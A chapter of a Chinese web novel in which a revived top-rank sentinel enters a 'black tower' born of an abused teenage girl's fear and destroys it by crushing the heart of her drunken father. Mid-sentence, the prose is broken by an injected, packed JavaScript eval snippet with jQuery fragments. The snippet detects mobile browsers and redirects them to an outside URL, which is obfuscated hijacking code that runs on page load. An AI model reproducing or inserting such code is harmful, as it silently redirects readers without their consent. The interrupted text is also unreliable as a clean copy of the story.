黑塔坍塌了。
像一块不堪重负的黑色果冻,倾泻而下的凝胶状液体将她整个包裹起来。
她闭上眼,放松了对意识的控制,如同一片叶子,她的精神力沉入了这片黑色的海洋。
这是她最熟悉的过程——清醒地让精神力进入黑塔构筑的精神力幻境中。
她的双脚接触到地面,全然漆黑的空间,只有她的肩头散发着柔柔的白光。
那是一只白色的鸟,身形有半臂长,喙勾爪利,有一双黑曜石般的眼睛,正停在她肩上。
她偏头贴了贴那鸟:“小白,好久不见,怎么感觉你瘦了?”
白鸟展翅扑了她一脸。
“好了好了,有正事要做,不跟你闹了。”
借着白鸟身上的柔光,她看见前面不远处的门。
杀掉一座黑塔的方法很简单,只需要进入塔中,找到黑塔之门,门后就是这座黑塔的核心。
毁掉核心,这座塔就死了。
从人群中觉醒的哨兵和向导不但拥有优于常人的体质,而且进化出了特别的能力——精神力。
根据精神力的强弱不同,帝国将这些哨兵收编,划分不同等级,组建成无坚不摧的军队。
凭借这样的军队,帝国吞并了周边小国,拓展了版图,成为这片土地上最强大的存在。
再没有国家能够成为帝国的敌人,可不知道从何时开始,帝国的土地上升起了第一座黑塔。
最资深的黑塔研究学者也没有研究清楚那座黑塔的来历,人们只知道,那是一位不知名的陷入精神力暴走的哨兵凝成的塔。
最后那座塔被杀死了,塔的遗迹上建成了纪念碑,那是帝国与黑塔交战的第一次胜利。
这是每位哨兵都要学到的黑塔的历史。
她在死之前杀死了无数的塔,最后和黑塔一起死去。
她站在那扇门前,那扇门和她以往见过的黑塔之门都不一样。
那是一扇,推拉门。
她并不担心,也没有什么好害怕的,按道理来说初级黑塔的攻击性不强。
她现在的身体只有F级精神力,可当她进入黑塔幻境中,她惊讶地发现自己原来的精神力竟然能被调用二三成。
她死之前精神力水平挺高的,要问具体多少,专业机构出具的测试报告上显示是S级。
S级有什么了不起的呢,她一出生就是S级的精神力。
因为身体没达到能使用高等级精神力的条件,她小时候可吃过好大的苦头。
此时此刻,她稍微内探了下,也估摸不准自己精神力目前是什么水平,总之比F级强些,那也够用了。
她推开那扇门,踏进去,身后的世界同步消失了。
她完全进入到门里。
哨兵机敏的鼻子嗅到一点清香,混合着霉味,她想直起腰,砰地一声,头撞到了顶。
这是在……衣柜里?
小白一直安静待在她的肩膀上,借着白鸟的光,她看清这是一个四四方方的狭窄空间,她的面前挂着一件普通学校的校服。
校服洗过晒干了,上面有洗衣粉的味道。
她拨开校服,又把各种季节混杂在一起的衣服推到另一边,衣柜深深处,一个女孩抱膝坐着,头埋在膝盖里。
顶级哨兵的精神力天赋让她闻到这里的味道,混合着洗衣粉清香的苦涩气味。
肩膀上的小白咕哝了一声,耷拉下两只眼睛,歪头看着女孩。
这是恐惧的味道。
她品尝过恐惧的味道,深深的苦,让人喉舌发干的涩,吞咽空气,急促的呼吸,塌陷,心脏在虚空无止境地掉下去,掉下去,她也跟着掉下去。
她问女孩:“为什么把你的身体给我?”
膝盖里穿来女孩发闷的声音:“不……不要了……”
“为什么?”
“我……我不想要她了。”
“哦?”她看起来耐心无比,“为什么不想要?”
“她不好。”
穿过林曜的身体,她看到过往的画面。
林曜觉醒成哨兵当天,哨塔检测到精神力波动,派人发来征兵启事。虽然只是F级的精神力,只要应召入伍,也能为家里带来一笔不菲的报酬。
她的父亲兴高采烈地把她送上了哨兵学校的车子。
那天是她十四岁的生日,她从来没离开过桐花镇,也不知道成为一名哨兵要做什么。
为了让父亲高兴,她将一切答应下来。
可是入学的第一周,她就觉得吃不消了。
她的精神力水平是最低的,体能也跟不上,入学一个月后有一次精神力水平测试,不达标的新生哨兵将面临劝退的风险。
她好害怕,她怕在哨兵学校里的一切,也怕被劝退回家被父亲打。她的父亲太喜欢打她了。
室友们都对她很好,在她们面前,她努力表现正常,可心里的恐惧快把她压垮了。
她太害怕了。
直到一天,她得知一个消息,可以通过召唤黑塔增强自己的精神力。
她依照指示的步骤,把自己的血涂抹在死去的黑塔上。
她成功了吗?
她丢掉那个弱小的身体了吗?
她变得更强大了吗?
林曜无法回答了,复活的黑塔将她困了起来,她像是被包裹在童年的大衣柜里,她觉得安全。
每次父亲酒醉回家后,她都会躲在这里,父亲找不到她就会去睡觉,她就不会被打了,这是世界上最安全的地方。
而此刻,这个地方有了闯入者。
冬鹞揉了揉鼻子,四周温度变低了,不出意外,这座初级黑塔要开始攻击人了。
她等了等。
一滴水珠落到她脸上,凉凉的。
一滴,两滴,千万滴水珠从狭窄的空中坠下,下雨了。
衣柜里的衣服都被打湿了,小白两只翅膀搭在头顶上,冬鹞也被兜头淋了个透心凉,黑头发像湿面条一样贴在脸上。
如果这就是这座黑塔的攻击方式,她在心里无奈地叹了口气。
“喂,别哭了,我会帮你的。”
“你的身体,我刚刚用她翻墙,还跑了十公里,挺好用的,不要丢掉她。”
“至于你害怕的东西……”
一个人的一生里有多少害怕的东西?
十四岁的害怕有多庞大,怕到要一个小孩想要丢掉自己的身体。
“你唤醒了我,作为答谢,我帮你一个忙。”
冬鹞蹲在女孩面前耐心等待着,直到女孩从膝盖里抬起头来。
她在女孩面前打了个响指,指尖冒出一点光,像腾飞的萤火虫,照亮了这窄窄的天地,也照亮了女孩瑟缩的眼神。
冬鹞的表情颇有些想装个大的但失败了的尴尬,她摸摸鼻子:“那个……我目前的实力只能放点萤火虫了,等以后再给你放烟花。”
“你给了我你的身体,那我帮你把恐惧杀掉。”
她的左手扣上女孩左手那道还在流血的伤口,积水的地面上映着萤光,照亮了两个女孩的脸,万千只漂浮的萤火虫像是受到了感召,汇成一条发光的河流,流入那道伤口。
女孩的身影越来越透明,最后变成河流中的一点。那条河流收束于冬鹞掌心。
冬鹞合掌,缓缓闭了眼:“我们一起去杀死恐惧。”
她拉开衣柜的门,外面的光线让她眯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716333|189329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起眼。
这是一间很小的卧室,除了衣柜和床,连张桌子都放不下,很小,却被打扫得很干净。
她捡起飘落在地板上的奖状,上面写着林曜的名字,上一年的学习标兵,如果不是觉醒成哨兵,她现在应该还是学习标兵。
帝国需要哨兵,但不是所有人都想觉醒成哨兵。
至少林曜不想。
精神力的觉醒,是命运的祝福还是诅咒呢?
她回过头去看那个衣柜,太简陋的衣柜,推拉门摇摇欲坠,里面的水痕已经消失了。
精神力的世界,一切是真的,也是假的。
衣柜里总共没几件衣服,哨兵学校有统一发配的制服,不需要自己带行李。女孩的旧校服挂在衣柜里飘飘荡荡。
她拉上那扇门,走出林曜的卧室。
走到门口,她倒退一步,卧室门锁扣的位置是空的,锁被人卸掉了。
这是一扇不能锁的门。
啊……所以只能躲在衣柜里吗?
她的心脏忽然有点沉甸甸的痛。
她现在还在林曜精神力构筑的黑塔内,林曜丢掉了自己的身体,精神力和黑塔合为一体,这座黑塔活了过来。
一座活着的黑塔,杀死它的办法,是摧毁它的核心。
这座黑塔的核心在哪呢?
林曜精神力里恐惧的源泉在哪呢?
这太好猜了。
她抛下那扇关不上的门,走到外面,空气里刺鼻的气味让她眉头一皱。
肩上的小白立马抬起翅膀捂住脸,只留下两只眼睛在外面。
“你去,”她使唤小白,“找到她爹在哪。”
小白有点不情愿,她抬抬肩膀催促它。
小白扑腾翅膀飞走了。
卧室出来就是客厅,不大的客厅此时已经被各色垃圾堆满了,她捏着鼻子扒拉开桌上那堆打包盒,没找到遥控器。
电视上正播放着恼人的广告,音量大到隔壁邻居能告他扰民,她忍住一脚踹碎电视的冲动——没忍住,这下客厅安静了。
她收回腿,原地活动了一下。
明明卧室外面就是客厅,刚刚她在卧室没听到一点儿电视的声音。
真实世界的林曜是能听到的。
吵闹肮脏的家,锁不上的门,醉酒的爹,那么多的恐惧。
小白飞回来了,黑灰色的翅膀尖指向一个方向。
那是比林曜的房间更大的卧室,应该算是这个房子的主卧,主卧的大床上正躺着一个不醒人事的男人。
她踢地上空酒瓶的动静也没把他吵醒。
男人怀里抱着一本存折,她想抽出来,男人抱得死紧,她废了不少力气跟他拔河。
真是一笔不菲的奖励。帝国在不遗余力地招徕新觉醒的哨兵。
她收起了存折。
男人肥大的鼻头翕动了下,咂吧嘴,侧向另一边。他的体型几乎是林曜的两倍,他打林曜的时候,林曜连跑都跑不掉。
像山一样庞大的父亲,庞大得像山一样的恐惧。
这只是一个肥胖的男人,林曜,你看好了。
她伸出手,没有任何阻碍地穿过了男人的身体,那颗黏腻滞缓的心脏就是这座黑塔的核心。
捏碎它就像捏碎一颗腐烂的猕猴桃。
她讨厌腐烂的味道,但她享受捏碎一颗核心的感觉。
小白在半空兴奋地扑腾翅膀,她的精神力又强了点。
四周飞速瓦解,这座黑塔死去了。
黑夜退散,躺在荒地的黑发少女睁开眼,天边隐隐有了晨光的踪迹。
她的心口多了一个图纹。
那是一个淡金色的,像太阳一样的痕迹。